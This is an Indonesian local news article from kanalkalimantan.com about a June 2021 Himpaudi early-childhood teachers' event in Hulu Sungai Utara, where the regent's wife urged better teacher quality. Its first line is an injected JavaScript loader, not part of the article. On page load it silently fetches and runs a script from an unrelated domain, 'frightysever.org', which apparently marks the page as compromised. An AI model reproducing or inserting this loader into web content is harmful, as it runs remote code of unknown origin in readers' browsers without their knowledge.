(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Bunda PAUD Kabupaten Hulu Sungai Utara (HSU) Hj Anisah Rasyidah Wahid menilai pentingnya penguatan kualitas SDM dan semangat para guru PAUD, guna menghasilkan anak-anak yang cerdas dan berkualitas.
Hal ini diungkapkannya saat menghadiri kegiatan penguatan organisasi Himpunan Pendidik dan Tenaga Kependidikan Anak Usia Dini Indonesia (Himpaudi) yang digelar 26-27 Juni 2021 di Aula Dinas Pendidikan Kabupaten HSU.
Acara yang digelar Pengurus Wilayah (PW) Himpaudi Provinsi Kalimantan Selatan bersama dengan Pengurus Daerah (PD) Himpaudi Kabupaten HSU ini mengusung tema “Meneguhkan Komitmen, Himpaudi Kokoh, Menuju Indonesia Unggul”.
Baca juga: Kunker ke Pulaulaut Timur, Ketua Komisi I DPRD Kotabaru Ingin Perjuangkan Pengembangan Objek Wisata
Bunda PAUD HSU, Hj Anisah Rasyidah Wahid menuturkan, tanpa Sumber Daya Manusia (SDM) mumpuni, serta guru-guru berkualitas tidak akan menghasilkan anak-anak cerdas dan berkualitas.
Oleh karena itu, ia menilai pentingnya para guru PAUD ditingkatkan SDM dan semangat dari para guru PAUD di Kabupaten Hulu Sungai Utara.
“Keberhasilan anak usia dini merupakan landasan keberhasilan pendidikan pada jenjang berikutnya, usia dini merupakan usia emas bagi seorang anak, tentunya ini perlu dukungan dari PAUD yang baik dan berkualitas. Ditandai guru yang memiliki kompetensi yang baik dalam menyiapkan perencanaan dan pembelajaran, melaksanakan pembelajaran, menyiapkan bahan ajar, serta melakukan evaluasi secara rutin,” kata Anisah, Minggu (27/6/2021).
Menurut Ketua Tim Penggerak PKK HSU ini, pentingnya para guru atau tenaga kependidikan PAUD memiliki kompetensi profesionalisme, kompetensi sosial dan kompetensi kepribadian yang baik.
“Saya berharap layanan anak usia dini di HSU dapat terlaksana dengan baik, dan saya juga berharap proses pembelajaran yang ada dalam lingkungan PAUD terus berkembang, sehingga melahirkan anak-anak yang memiliki kesiapan baik dari segi akhlak, pengetahuan umum, serta dapat menyesuaikan diri dengan lingkungan dan jenjang pendidikan yang akan ditempuhnya selanjutnya,” tukas Anisah.
Sementara itu, Ketua PW Himpaudi Kalsel, Rabiatul Adawiyah mengatakan, kegiatan penguatan organisasi Himpaudi ini merupakan program unggulan dari untuk memberikan persamaan persepsi, mindset atau pemikiran dari peran Himpaudi mengembangkan diri, maupun persuasi yang mendukung kualitas anak usia dini.
Baca juga: Terima Penghargaan Best Figure Excellence 2021, Ini Komentar Wali Kota Banjarbaru
“Sampai sejauh ini banyak sekali tantangan yang dihadapi terlebih pada saat pandemi Covid-19 dalam berorganisasi, para guru dituntut bagaimana menyikapi pembelajaran di masa pandemi, terlebih rencana pemerintah Juli yang akan datang dilakukan pembelajaran tatap muka terbatas,” katanya.
Dengan kondisi seperti sekarang ini, menjadi tantangan bagi para guru PAUD bagaimana pengelolaan pembelajaran tatap muka terbatas dengan standar prokes dan tetap memberikan hak anak agar mendapatkan pembelajaran. (kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, AMUNTAI - Khawatir membahayakan para pelajar, sarang tawon berukuran sedang berhasil dievakuasi petugas Pemadam… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai penting peranan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More
KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More
This website uses cookies.